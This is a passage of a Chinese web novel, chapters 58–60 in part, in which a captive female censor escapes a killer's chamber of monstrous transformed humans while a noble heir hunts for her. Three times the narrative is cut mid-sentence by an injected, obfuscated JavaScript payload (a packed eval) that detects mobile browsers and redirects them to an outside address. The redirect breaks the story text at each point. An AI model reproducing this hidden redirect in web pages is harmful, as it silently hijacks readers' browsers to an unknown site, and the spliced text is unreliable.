林雪意分明也是发现了这一点,所以才剑走偏锋声东击西,试图保全一船人的性命。 水贼不会不清楚,他们劫杀的船只是官船。 那么,是什么能让水贼猖獗至此,不惜背上杀害朝廷命官的罪名,也要上官船屠杀呢? 这事本就有蹊跷。 况且那夜行船之处,附近的岸上就有指挥营,奉命保护船客上岸的水手又都是好手,只要求援及时,水贼就会知难而退,又是谁在从中作梗,延误了救援的时机? 藏匿在背后的人已经将手伸到了这里,他想要林雪意的命! 想到这里,晏返垂在身侧的手紧握成拳,眸色更加晦暗。 一颗头被卡在冷冰冰的地面跟硬邦邦的鞋底之间,付世仁的脸涨成了猪肝色,眼珠疯狂在眼眶中打转。 听这晏世子的意思,他竟好像已经知道那场船难与他有关! 他究竟知道了多少? 明远侯虽已致仕多年,但明远侯府却因他早年的手腕,在朝中一直声威不减。所以即便眼前这位素有纨绔之名,被人暗中耻笑虎父出犬子,却也从来无人敢在明面上与他为难。 他与侯府并无宿怨,本来也犯不着冒着与之结仇的风险去设计那场船难。可是那位找上他的贵人,来头实在太大,许诺又那么诱人…… 想到这里,盘踞付世仁心头的迷瞪和懊悔渐渐退却了,他的头脑开始破罐子破摔般冷静下来。 那位贵人已然是找上了他,若他退缩回避,亦不会有好下场。 富贵险中求,只要挺过眼前这个节骨眼,再向贵人通风报信,就一定会有转机。一旦事成,加官进爵,不在话下。 于是,他硬着头皮推脱道:“下官委实冤枉!世子在尹阳地界遇险,下官确实难辞其咎,但世子遇险之事,绝非下官授意。世子若无证据便横加指责,岂不是血口喷人!” 不料对方却像是听到了什么好笑的事情一般,冷笑了一声,道:“谁告诉你,本世子做事是靠证据的?” 漫不经心的语声落下的瞬间,浓重的压迫感骤然袭来。 付世仁目光猛然一抽,嘴里便没了声。 眼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411175|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正值寒冬腊月,夜晚的院落寒意逼人,可他却汗流浃背。 若真是那位女御史站在自己跟前,即便是怀疑他也要讲证据,那他尚有跟她周旋的余地。 可这纨绔做事根本不循常理,他想要弄死他,就跟碾死一只蚂蚁一样容易! 晏返漠然地踩了踩脚下的猪头,语声冷然:“我家夫人今晚在尹阳城中失踪,本世子给你一天时间,届时她若有损分毫,你这颗狗头不要也罢。” 说完他嫌恶地抬起脚,作势要走。 “世子且慢!”付世仁的酒醒了个彻底,他撑起沉重的身体,替自己分辩道,“尊夫人乃朝廷委派的御史,下官就算是狗胆包天,也不敢对御史大人下手啊!” “是不是你做的,本世子不关心。人是在你的地界上不见的,你交不出,就提头来见。” 随风灌入耳朵的话语冰冷彻骨,付世仁当即怔住,脑子再也转不动。 随着那道冷峭身影消失在黑暗中,他的牙关开始不受控制地打颤,他像一条蠕虫一般在地上瑟瑟发抖,起不了身。 “大人!您如何了?”方才一直畏缩不前的师爷哆哆嗦嗦地将付世仁扶起来,他两排牙齿没剩几颗,讲话漏着风。 付世仁惊怒交加,将火发在了师爷的身上,他猛推了师爷一把,怒道:“不是说黑水帮会处理掉他们吗?这又是怎么回事!” 师爷也是心有余悸,望着黑暗中那道不存在的身影,疑惑道:“我确实是得到消息,他们的官船被烧,御史落水了啊。那一带水势凶险,若无救援,必然葬身鱼腹。九死一生的事,怎么他们还能生还……” “现在还是琢磨这个的时候吗?”付世仁脸色铁青,气急败坏,“那混账把御史失踪的事算在了我头上!怎么办!我拿你的头给他行吗!” 师爷眼珠转了数圈,左右看了看,凑到付世仁耳边:“大人,不如这样,我们先派出人去搜查……” 晏返从县衙院落中步出的时候,耳后正好刮过一点风丝。 他脚步一顿,就听得身后阴影处传来一个声音:“首尊,我们已遍寻尹阳县城,没有发现林御史的踪迹。” 晏返眸光一黯,心中冒出的微小希冀轻轻散去,他以只有自己能听到的声音道了声“知道了”。 “乾一他们四人已出城去寻,我等留在城中详查。” “好。盯紧付世仁这边的动向。” “是。”随着话音落下,黑暗处的梢头陡然一轻,前来禀告的暗探已经消匿无影。 反倒是前方灯火阑珊处出现了一道身影,正是被他派往商会调查的墨云。 “世子,属下查到玉仪坊的掌柜叫孟长宇。”墨云迎上来便道,“他于三年前来此,在尹阳无亲无故,为人孤僻,从不交友,也没有其他住所。 “属下还查到,少夫人所查的案子,失踪的芷柔和被害的阿琴,确实都去过玉仪坊。” 晏返点了点头,道:“再去查查孟长宇近期都接触过什么人,有无常去的场所。” 墨云领命离去,晏返一双星眸立时又冷了下来。 付世仁确实对林雪意有加害之心,但是今晚林雪意的失踪不是他做的。但他有一种直觉,在他们进入徐州地界之后,接二连三发生的几件事情必然存在某种联系。 敌手企图在错综复杂的关系中将自己隐藏起来,那他便先搅乱这池水,让对方自乱阵脚。 可尽管他理智尚在,名为焦灼的情绪却早已不知不觉地盘踞心头。 “林雪意,”那道纤细却倔强的身影浮现脑海,低低语声不觉滑出唇畔,“别死啊。” · 哒,哒,哒…… 石板下的台阶上渐次响起由远及近的脚步声,不徐不疾,宛如丧钟。 孟长宇在石室下方待了一炷香的时间后,重新回到了石室中来。 先前咆哮的野兽似乎是饱餐了一顿,此时已经偃旗息鼓。 孟长宇再次来到了林雪意的跟前,轻声细语,笑容扭曲。 “小美人,你的死期到了哦。” 58. 哄骗 饶是林雪意心中已有准备,对方这阴阳怪气的样子还是让她脊背发凉。 林雪意脸色白了白,稳住气息道:“你要我死,我反抗不了。但如果你现在就杀了我,你会后悔的。” 孟长宇不以为意地笑起来:“小美人,就算怕死,也不用这样危言耸听。” “我并不是在威胁你。”林雪意道,“我的意思是,以你的手段来处理尸体,不过是暴殄天物罢了。” 孟长宇似乎对她的话有些感兴趣,放下了手中散着刺鼻气味的白布,道:“这又是从何说起?” “我见过阿琴的样子,想必你在将她做成样方的时候也注意到了,死人跟活人在面相上最大的区别在哪里。” “啧。”孟长宇闻言露出些苦恼的神色来,“小美人,你倒是说到点子上了。这也是我迟迟没有对她动手的原因。” 孟长宇说着瞅了一眼缩在角落里的芷柔。 “活着的时候脸再美,等到死了总是差点意思。即便我给尸体化妆,也不像是活的。” 林雪意嗤笑一声,眼中全是了然:“那本来就是死物。” “小美人,难道你有办法?” 眼看孟长宇就要上钩,林雪意扬了扬眉,道:“人死虽然不能复生,但想让死人看起来像活人一样,有什么难的?” “那你快说。”孟长宇丑陋的面孔立刻凑近了,布满血丝的眼里闪现亮光。 “我外祖家历代都是做收敛尸体生意的,常跟尸体打交道。”林雪意故意顿了顿,见孟长宇用眼神催促她,便接着道,“我外祖父曾说过,要让尸体脸色如常人那般,最好的办法便是在人刚死之时,用血胆玛瑙磨成的粉末固形固色。” “血胆玛瑙?”孟长宇将信将疑地转了转眼珠,打量起面前这个言之凿凿的少女。 林雪意装作浑不在意对方审视的目光,继续睁着眼睛说瞎话:“离公子手中那枚扳指就是用血胆玛瑙做的,当年可是璃国的皇族至宝。” 孟长宇的眉眼顿时耷拉下来,发愁道:“主人的东西我哪里碰得到?” 他话音刚落,神色陡然一变,粗糙大手旋即扼住了林雪意的脖颈,原本脸上痴迷的神情像是大梦初醒一般变得狰狞异常。 “你是在诳我呢!我一不留神就被你套了话去了!” “我没骗你……”林雪意拼命抵抗力道蛮狠的手,却还是被掐得喘不过气。孟长宇的收紧的手指就如铁钳一般死死掐着她,任她怎么用脚踢他都不松开。 就在林雪意觉得自己在窒息之前会先被拧断脖子的时候,原本战战兢兢缩在墙角的芷柔跑过来拽住了孟长宇的腰,使劲想要把他拉开。 兵荒马乱间,林雪意对着孟长宇竖起了一根指头,艰难地挤出几个气音:“还有一个办法……” 孟长宇这才松手,顺势将芷柔撇开。 他恶狠狠地盯住林雪意,神情扭曲:“你最好真的有办法!” 林雪意好一阵咳嗽,发红的眼角呛出了泪花。她一边大口喘着粗气一边哑声道:“血胆玛瑙毕竟是罕见之物……若寻不到,可退而求其次……” “什么法子?” “在人死前以汤药灌之,逼出血气……人死后趁尸体尚热,将其固形……”林雪意心有余悸道。 见林雪意似乎真的安分了,孟长宇才问:“你知道药方?” 林雪意连忙点头:“我可以写下来。” “你最好不要耍什么花招。” 孟长宇说完取来了纸笔丢给林雪意,等她写完便将药方翻来覆去看了几遍,确定上面只是一些补血补气的药材之后,他神色大好,又嘿嘿笑起来,将药方誊抄了一遍。 “小美人,那你先在这里等着。待我抓药回来,我们就试试这法子有没有用。” 等到孟长宇仰头大笑着离开石室,林雪意跟芷柔对视一眼,两人均是松出了提在胸口的一口气,瘫坐在地上。 确认外头没有声响后,芷柔轻手轻脚地挪到林雪意跟前,清澈的眸子里眸光颤动,压低了的声音里难掩激动:“大人,我拿到了!” 她轻轻颤抖着将捏在手心里的东西放进林雪意的掌心,金属质地的东西发出叮铃脆响,竟是一串钥匙。 “太好了!”林雪意如释重负,立即拿钥匙将禁锢两人手脚的锁链打开。 早在孟长宇去地下投喂野兽的时候,她就已经和芷柔商量好。她找机会激怒孟长宇,芷柔便趁乱去偷他腰间的钥匙。 幸亏孟长宇是个十足的变态,对尸体的脸有一种扭曲的执着,她才能找到一线生机。 而且从她刚刚对孟长宇的试探来看,他确实是离公子手下的人,离公子此人也确实跟璃国皇族有关。 只是眼下时间紧迫,孟长宇随时可能折返,不是费心思考他们关系的时候。 石室并不大,林雪意快速打量了一圈,没看出什么门道。她从旁边木架上拿了一盒迷魂胭脂藏在身上后,便去孟长宇进入石室的位置找起出口来。 在石墙上一通敲击之后,她很快声音发沉的位置找到了石门。 她和芷柔相视一笑,两人合力使劲将沉重的石门推开一条缝。正要高兴,门后露出的东西却令她们悚然一惊——出现在两人视线中的竟然是孟长宇的鞋尖! “啊!”芷柔尖叫着跌在地上。 林雪意的心也悬到了嗓子眼。 难道是孟长宇发现了自己的钥匙不见了?! 然而,石门之后丝毫没有传来什么动静,便是那双“脚”一步也没有挪动过位置。 林雪意咬咬唇,屏住呼吸探出头看了一眼,这才发现她们刚才看见的确实就只是一双鞋。 “别怕,只是鞋子。” 林雪意说着将芷柔扶起来,心头浮起一点疑惑。 为何孟长宇要把自己的鞋子放在门外?即使是要更换鞋子,把替换的鞋放在外头也着实有些古怪。 她和芷柔继续将方才打开了一些的石门继续推开,看到了一条通向黑暗的狭窄甬道。 甬道这头的墙上尚置有两盏油灯,却只能照见附近小小的一圈,甬道的尽头似乎有什么形体不定之物在涌动。 “大人,这……”芷柔看了一眼甬道深处伸手不见五指的黑暗,眼中浮起一丝怯色。 “你在此处等我。” 林雪意叮嘱完芷柔,踮脚端起头顶的一盏油灯,缓步向甬道中走去。 甬道中潮气更重,还泛着微微的土腥味。远处充满未知的黑暗中仿佛蛰伏着一只虎视眈眈的庞然大物,令人遍体生寒。 “嗒……” 足尖传来轻微水声,林雪意顿足看去,发现自己踩到了一滩水。 她将手中油灯尽可能远地递出去,这才发现前方路面竟然全都淹没在水下,且前头的水有渐深之势。 她转头看看站在石室外的芷柔,又看看脚下,立刻明白过来——这段甬道的路面乃是倾斜向下,石室所在的这头要高些,因此水位浅一些,而前方的水位不知道究竟到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439307|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了何种高度。 如果要顺着这条甬道往前,就势必要涉水而行。 难怪孟长宇在石门处放了一双鞋,想来他走这条水道的时候是换了水靴的。 这里的水嗅着气味并无腥气,林雪意蹲下来捧起一泓仔细打量,水质清澈,倒不像是大江大河携带泥沙的水。 林雪意想了想,心中已经有了计较。 这甬道十有八九是跟一口井互相连通,怪不得她神志不清的时候听到过水声,那时应该就是孟长宇带着她进入水井的时候。 她回想方才见到孟长宇的样子,他的衣服上并无大片水渍,猜想井中水位算不上深。只是到了井中之后要如何上去,还需要见机行事。 一念至此,她轻轻往水中走了几步。 脚下的水立刻包裹上来,鞋袜被水浸湿,渐渐没过脚面。 就在她又踏出一步的时候,脚底突然往下一陷,一股不祥的预感陡然袭来,让她心跳骤停。 前方的黑暗中顿时响起尖啸声,像是有什么尖利的东西划破空气,裹挟杀意直向这边而来。 这情景竟似曾相识! 几点寒芒骤然闪现,唰唰从林雪意身侧扫过,直没入她身后的墙面。饶是她在刚听到声音时就机警地侧身扑倒,还是有一只弩箭从她脸侧划过,在她脸上擦出一道血痕。 “大人!”在石门内等候的芷柔听到动静,连忙向这边跑过来。 “别过来!”林雪意喊停了她,“此处危险!” 芷柔立刻停住脚步。 林雪意担心自己站起来会再次误触水中机关,便伏在地面上小心挪动身子离开水域。回首再看那条看不清尽头的甬道,她的心心渐渐沉下了去。 孟长宇就是走这条路出去的,所以它定然通向出口,可是若不知道机关分布,这条路对于她们就是死路。 比起走不通这条路,更糟糕的是,孟长宇随时可能回来。 无论是他身上消失不见的钥匙,还是机关发动射出的弩箭,都会暴露她们的计划。 她们已经没有下一次机会了。 “大人,你受伤了?”芷柔见到林雪意脸上的伤痕不由面露忧色,忙用袖角替她擦去淌出的血。 林雪意刚想说自己没事,落在她手中钥匙上的目光倏然一凝。 孟长宇的这串钥匙,除了四把刚好能打开扣住她们手脚的锁之外,还有一个不起眼的铜牌,只有拇指的指甲盖大小,依稀做成了金锁的样子。 想到孟长宇的行事习惯,林雪意眸光幽幽一亮—— 或许,石室里还有其他出口! 狡兔三窟,孟长宇又惯会伪装,极有可能给自己留了后路。 这串钥匙上的铜牌恐怕并不是什么装饰,而是石室之中某个锁的钥匙。 想到此处,林雪意拿过钥匙,凝聚心神回溯起来。 “咕咚……咕……” 视野蓦然转为黑暗,比画面先一步到达的是错觉般浮动在耳畔的声音。 林雪意恍惚间感到这声音有些熟悉。 好像就在不久前,她听过这种充盈耳廓的声音,低沉而持久。 漆黑一片的视野渐渐有了一点幽微的光亮,四下里却是混沌一片,茫无涯际。 林雪意这才反应过来,自己窥见的场景是在水下。 幽暗的水中隐约浮动着什么东西,她用力去看,那一块一块形状规整的东西在水流的涌动中翻过面来…… 竟是那张碎脸的残片。 59. 怪物 一股凉意窜上脊背,林雪意倒吸一口凉气,回溯的画面陡然消失。 她所回溯的物品没有出现在她所看见的场景中,这还是第一次出现这种情况。 既然她想找的是其他的出口,那么在回溯中出现的水下的景象应该就跟那个出口有关。 林雪意忍着胸口钝痛,跟芷柔说明了心中猜测。 两人立即返回石室,四处寻找有水的地方,但却没有什么收获。 鬼使神差般,林雪意向通向地面之下的石板处看了一眼。 莫非……另一个出口在孟长宇饲养野兽的地下? 眼下没有别的办法,只能先碰碰运气了。 从她先前听到的声音来看,那些野兽虽然凶猛,但也是被铁链锁住的,应该无法伤人,否则孟长宇也不会那样大摇大摆地就下去了。 林雪意思忖片刻,照着孟长宇的样子转动桌上烛台。机括声再次从底下传来,地上的石板徐徐打开,一道向下的石阶渐次出现在她眼前。 一股浓重的腥腐气味顿时从开口涌出,让人作呕。 芷柔显然对之前听到过的野兽的动静感到心有余悸,本就苍白的脸色隐隐发青。 林雪意见状便让她在石室里等着,自己提起裙摆慢慢步下台阶。 沉闷的空气中隐约传来兽类打鼾的声音,林雪意心中猜测着底下关着的野兽模样,却最先被石阶下桌子上一堆琉璃瓶攫住了视线。 琉璃烧制的瓶瓶罐罐中,高高低低地盛装着一些红色液体,散着血腥气。 这些琉璃瓶的样子跟她在云雾山山洞中看到的如出一辙,看来从泤水县运出的那些女子血液果然被送到了此处。 随着林雪意走下石阶,她的视线渐渐挪移到了琉璃瓶旁边的一口瓮上。 熟悉的暗红色液体正咕咚咕咚地在容器中冒着泡,散发出令人喉头发苦的甜腻气味。 这里竟也有蛊毒! 离公子这些人到底在谋划什么? 林雪意的神思不由紧张起来,心中的弦悄悄绷紧。 一股说不清道不明的奇怪感觉笼罩在心头,她缓缓下行的脚步终于有了片刻的迟疑,但是她已经走完了最后一步台阶。 四面墙上的数支火把将四下里映照得亮白如昼,比上头的石室宽敞得多的空间顿时落入她的眼帘。 与偌大空间一同闯入她眼中的,还有令人触目惊心的遍地血迹和破碎残骸。 那些残骸似乎是经过了兽类的啃噬,如一团团破棉絮般血肉模糊。 林雪意小心绕开地上喷溅的血迹,边走边下意识辨认那些肉块残渣,脚边却冷不防碰到了一小块东西。 她垂下视线看清那东西后,顿时头皮发麻——掉落在她脚边的分明是一截人的断指! 这么说,在此间地面上四处散落的岂不就是人体残肢! 这发现让林雪意顿时僵立当场。 身后传来如雷鼾声,她艰难地扭动脖子转头,眼前所见让她的脑海轰然炸开。 靠墙的一侧,被粗重锁链锁住的,此时似正趴在地上酣睡的两头庞然大物正散发出浓重的腥气。他们蛰伏如野兽,但是却有着人的躯体! 林雪意觉得自己像是被人投到了江海的礁石之上,水面风号怒吼,她却四顾茫然,无论是往哪个跨出一步,她都将被浪涛淹没,葬身其中! 在风高浪急的轰响中,隐约有一个轻细的声音在唤她。 呼唤之声越来越近,叫着她名字的人似乎也正从石阶上下来,林雪意渐渐醒过神,蓦然想起来人是芷柔。 她刚想开口阻止芷柔过来,芷柔却已经僵立在她身后。 芷柔的脸色白得似鬼,一双眼睛看直了。她的嘴唇哆哆嗦嗦了一阵,终于从喉咙中溢出一声尖利的悲鸣。 “啊——!!!” 因为恐惧而扭曲的叫声划破了短暂的寂静,原本在墙角酣睡的“野兽”被惊醒,抬起了它们硕大的头颅,直勾勾看过来的一双双眼睛瞳仁暴突,龇牙咧嘴,犬齿豁出,狰狞异常,让人脊背发凉。 “大人!”芷柔抖得如同筛子,揪紧林雪意的衣服躲在她身后,断断续续地吐出破碎的字眼,“怪、怪物!” 面前这些怪物身躯高大,远超常人,胀大的眼球浑浊不堪,嘴里发出些含混不清的喘声。它们筋肉虬结的躯体上挂着些破败的布片,昭示着曾几何时,它们尚有“人”的身份。 林雪意蜷紧了手指,那夜她在官船上遇见的“水鬼”的样子陡然浮现在眼前。 尽管她已经咬紧牙关,不断从心底涌起的震惊、恐惧、愤怒、恼恨以及夹杂其间的一丝了然还是让她浑身战栗。 那些“水鬼”竟然是出自孟长宇的手笔! 这些怪物竟然是由寻常人变成的! 谋划此事之人简直是个疯子! 被锁链拘住的两只怪物原本因为被尖叫声惊醒还有些恹恹,须臾后却像是发现了活人气息,鼻头一阵耸动后突然变得狂躁起来,喉头不断涌出低哑吼声,奋力地想要挣断铁链。 那铁链比锁住林雪意和芷柔的要粗上许多,无论它们怎么挣扎都只是徒劳,但是固定铁链的墙体却因为蛮力的拉扯出现了裂缝。 “走!” 林雪意心道不妙,拉起芷柔就往台阶的方向跑。 但是芷柔受到眼前景象的冲击,一双脚哪还有什么力气,没走几步就两腿一软,跌在地上,脸上的神情惊恐又绝望。 “大人,我走不动了,你快走吧!” “一起走!”林雪意拉起芷柔,将她的手搭在自己肩上,扶着她连走带跑。 身后就在这时传来了碎石崩落之声,铁链撞击地面的声音随之响起,整个空间都因为怪物的动静而震荡起来。 林雪意眼角余光已瞥见两只怪物朝她们追来,可她们才刚走到琉璃瓶附近。 她连忙大步上前,放下芷柔的同时奋力抓起桌上的瓮就朝追赶上来的怪物用力砸过去。 但那怪物的肌肉梆硬,瓮砸在前头的那只怪物身上没有对它造成丝毫损伤,反而是坠在了地上发出一声碎裂的闷响。 瓮里原本装着含着蛊毒的液体,暗红毒液在瓮碎裂的瞬间飞溅出来,泼洒在怪物身上。 两只怪物立刻抱着头发出痛苦的吼叫,被毒液泼洒到的皮肤竟寸寸裂开,底下的筋肉像被腐蚀一般散发出浓重的腥气。 它们捶胸顿足地大步朝林雪意和芷柔扑过来,林雪意当即一把推开芷柔,自己堪堪受到怪物的大掌剐蹭。顿时,挨上坚硬指甲的肩侧皮肉破开,鲜血随着疼痛渗出,身体因为无法收势狠狠撞上了一旁的桌腿。 桌腿折断,桌面坍塌,桌上的琉璃瓶叮儿当啷地在地上摔了个粉碎。 眼看悚人的怪物就要扑上来,林雪意只觉得头皮发麻,却见那两只怪物一前一后地调转地方向,趴下身子去舔琉璃瓶残片中的血液,为了争抢血液还互相推搡了一阵。 趁着怪物抢食的片刻,林雪意抓起脚边的琉璃瓶塞给芷柔,以防它们再追上来。她蓦然想起“水鬼”怕火的事,又取下墙上的一支火把攥在手里,另一手搀着芷柔上了石阶。 眼看出口就在前方,身后的怪物却突然吼叫着猛追上来。 林雪意连忙回身一挥火把,那怪物果然怕火,虽然表情狰狞,却生生被逼退一步,停滞在台阶上。 她咬着牙一把将芷柔推上去,而后将火把一甩一个箭步冲上去,双手将前方桌上的烛台使劲一拧。 石板在怪物冲出来前堪堪合上,将它们同盛怒的叫声一起阻隔在了地下。 两人险险躲过危机,都是气喘吁吁,出了一身的冷汗。 她们刚要松出一口气,石门外却传来了动静。 芷柔慌乱地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472035|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向林雪意,林雪意心中的弦也再次绷紧了。 孟长宇阴森的面庞从石门后出现,这一次他连水靴都没脱,水迹随着他的步履在地上蜿蜒,蛇行一般。 他一眼就看到了跌坐地上的林雪意和芷柔,眼中浮起一丝玩味,嘴里不住地发出“啧啧”声。 “嘿,我真是小看了你们啊。”戏谑混杂怒意的笑容从他眼底浮起,他瞬也不瞬地盯住林雪意,嗤笑道,“小美人,看来你有些来头,外面到处在搜查。你的方子我这一时半刻是没法准备了,但你的命实在是留不得了!” 前方是孟长宇碾地而行,步步紧逼,身后的石板下还不断传来底下怪物的捶打和吼叫,林雪意心脏狂跳,念头急转。 她回头看向芷柔手中的琉璃瓶,又看看丢在地上的火把,和芷柔交换了一个眼神。 喉咙猛地被孟长宇扼住,熟悉的窒息感再度袭来。当林雪意觉得自己的脖子快被拧断的时候,头顶上传来琉璃碎裂的闷响,掐住她脖子的手突然一松,一股蛮横力道将她甩在地上。 “芷柔小美人,你也学坏啊了。” 孟长宇恼怒的声音从边上传来,林雪意循声看去,就见红色血液正不断从他的头顶流淌下来,将他原本就丑陋的脸孔染得格外可怖,宛如恶鬼。 他抖落掉落身上的琉璃瓶碎片,转身朝面如土色的芷柔走去。 林雪意抓住这个空隙起身转动烛台,在石板打开的刹那抓起地上的火把,冲到了孟长宇跟芷柔中间。 孟长宇正要上前,却听得身后传来了粗哑的喘气声,一股难闻的血腥气在石室中漫开。 他不耐地转头,就见两只怪物已经龇牙咧嘴地到了他身后。 他心头浮起不详的预感,却还是佯装镇静,叱骂道:“退下!畜生!” 怪物对他确实有所忌惮,但却像是克制不住兽性一般,仰头发出一阵野兽般的吼叫后直向他扑过去。 孟长宇往后飞退几步,脸色铁青,剜了林雪意和芷柔一眼便从石门的缝隙中闪出。 为首的那只怪物紧追上去,径直砸烂挡路的石门。跟在后头的怪物似要往林雪意这边来,见到她手中的火把后迟疑了一息,便转而跟在前面那只怪物后头追了出去。 石门外顿时传来仓皇的脚步声,水花溅起之声,弩箭划破空气没入皮肉之声以及怪物的怒吼声。 那些声响越来越远,不久后整个石室便剧烈震颤起来,仿若地动山摇。 巨石沉砸入水的声音隐隐从外头传来,石室的墙上陆续出现裂缝,林雪意不由想起官船上“水鬼”徒手将人撕开的情景。 那夜的“水鬼”比之今日的怪物已是强弩之末,却仍有那么大的力气,眼下那两只怪物发了狂,这地下的石室恐怕很快就会被摧毁。 像是为了验证林雪意的推测一般,石室墙上的裂缝愈来愈深,不断有尘土从她们的头顶掉落下来。 芷柔脱力地瘫坐在地上,白得吓人的嘴唇颤了颤,问道:“大人,我们是不是出不去了?” 林雪意咬了咬唇,像是安慰她又像是在给自己打气:“能出去,我们一定能出去!” 她拿出那串钥匙,再次握住上面的铜牌凝神回溯起来。 昏暗的石室景象顿时转为一片混沌。 混沌中,那张碎脸陡然出现在她的视野中,这一次那张脸却是被拼凑在一起的,诡异美艳,微微上挑的唇角宛如轻嘲。 这一回,林雪意没有再被吓退。 她忍住胸口闷痛,深吸了一口气继续。 “嗒……” 空气中传来机括的轻响。 随着机括声音的落下,那张拼凑完整的脸一块块分散开来。画面一转,它们便成了漂浮于水中的尸块。 回溯的场景从眼前退去,林雪意看向近旁墙边的那张碎脸,心如擂鼓。 “我明白了!” 60. 钥匙 “大人,你说什么?”芷柔不解地问。 “芷柔,”林雪意向通往地下的入口看去一眼,问道,“我们方才去下面的时候,你可曾看过水池?” 许是被林雪意坚定的目光所感染,芷柔慢慢镇定下来,点头道:“确实有。” “出口就在水池之中。”林雪意说着向那张面朝她们微微笑着的脸孔走去。 那张碎脸看起来是浇筑在一个透明的方形盒子中,林雪意径直绕到了它的后面,果然在后方找到了一个和铜牌形状契合的锁孔。 她在心中道了句“得罪”,将铜牌按了进去。 那张脸孔衔接的位置立刻出现了缝隙,方形的轮廓按着五官分散成五个形状不规则的碎块。在那些碎块的中心还有一个严丝合缝的小木盒,不知是做什么用途。 林雪意在芷柔震惊的目光中抱起碎块,一边朝地下走去,一边解释道:“这些才是打开出口的钥匙。” 石室又剧烈地震动了一下,林雪意脚下一个踉跄,两个碎块从她怀中抖落在地。 她刚要蹲下去捡,芷柔却将它们捡了起来,她努力克制住双手的颤抖,抿着唇冲她点点头。 地下的水池就处于禁锢怪物的锁链旁边,其中的池水看起来不似井水清澈,但看着却是活水,池底确实是跟外界相连通的。 林雪意让芷柔在上边等着,自己先跳下池子去池底查看。 池子不算深,但池水冰冷彻骨。所幸孟长宇并未在水池里做手脚,由石块砌成的池壁上确实有几个凹进去的小口,形状能跟脸孔碎块大致吻合。 林雪意浮上水面将凹口的大致位置告诉了芷柔,眼看石室有塌陷之势,两人立刻拿起碎块沉入水中,将碎块推进对应形状的凹口中。 就在她将最后一个碎块塞进凹口的时候,池中的水流顿时翻搅起来。 随着水中一阵隆隆的闷响,池壁缓缓向两侧打开,池壁外的水顿时裹挟泥沙涌进来,和池水交汇相撞形成了一股强势的暗流。 林雪意并不熟悉水性,一下子就被水流冲出很远。离开了石室的范围,四下里一片黑暗。她仰起头,一眼看不见水面。 胸口的窒闷感越发强烈,脑袋又开始发晕,却有一只纤细的手牢牢抓住了她…… · 夜色如墨,万籁俱寂。 晏返步入花木摇曳的僻静院落,每走一步,踩在鞋底的枯叶便发出沙沙声,显得院落越发孤寂。 他走到林雪意的屋外,收在袖中的手指不禁蜷紧,眸光冷冽如冰雪。 明知她不在屋里,明知她现在凶多吉少,他却除了等手下回禀消息之外,什么都做不了。 鬼使神差地,他轻轻推开了屋门。 廊下灯笼摇曳,明亮烛光落入房内,微微映亮屋子的一角。 新租的宅子洒扫得很干净,屋中一些器物也是墨云重新采买布置过的,还未来得及沾染上屋子主人的气息。 木制的家具幽幽散着一股醇厚的木质香气,期间夹杂着一股淡淡的墨香。 他似有所觉,侧身往屋子一侧的书案上看了一眼,抬步走了过去。 书案布置简洁,放置在桌面上的笔砚便格外显眼。 砚台未收,笔上的墨已干透,仿佛执笔之人正伏案书写之时被人打断,离开后便再未返回。 她在写什么呢? 他心中生出一点好奇,取出身上的火折子将桌上的油灯点燃。 灯芯顶上的火苗轻轻晃了晃,幽幽照亮了桌上的一方素笺。 白纸黑字,清秀字迹逐条列出近来发生的事,而后在下方的空白处,写了一个颇大的“水”字。 晏返想象着林雪意写字的样子,视线最终凝在了那个“水”字上。 疏朗眉头渐渐皱起,脑海里有个念头呼之欲出。 他攥住了那张纸,心脏突然跳得很快,流淌在身上的血液变得躁动不安。 他一时竟有些分不清,是因为寒梅毒发的时间将近,还是因为那个从脑海中一闪而逝的念头。 他像是怕将纸揉坏一般,轻轻将它放回桌上,旋身大步离开屋子,清绝挺拔的背影转瞬便融入了夜色。 墨云有句话说得不错。 林雪意上金殿伸冤那日,他接到晋帝的命令去群芳阁探查,在与杀手拼杀时受了伤。 那时墨云说他,关心则乱。 寒风凛冽,行人渐少的街道上花摇影动,一道幻影从花木灯影间飞掠而过,最后停落在玉仪坊荒僻的后院中。 “世子。”墨云半路上见到晏返便追了上来,正要禀告自己调查到的消息,地面却突然剧烈震动起来。 两人刚稳住身形,便有野兽的吼叫声从院中的废井底下传来。 晏返的视线在井口处一凝,就看见一道鬼魅般的身影扭曲地从井口爬出来。 那隐约是个人的样子,一只手臂已经弯折,浑身散发着浓重的血腥气和难以辨认的腐臭气味。那人的一条腿似乎也受到了重创,晦暗夜色中还能看到不断从腿部滴落地面的鲜血。 因此爬出井口后,那人只能贴着震颤的地面匍匐前进。 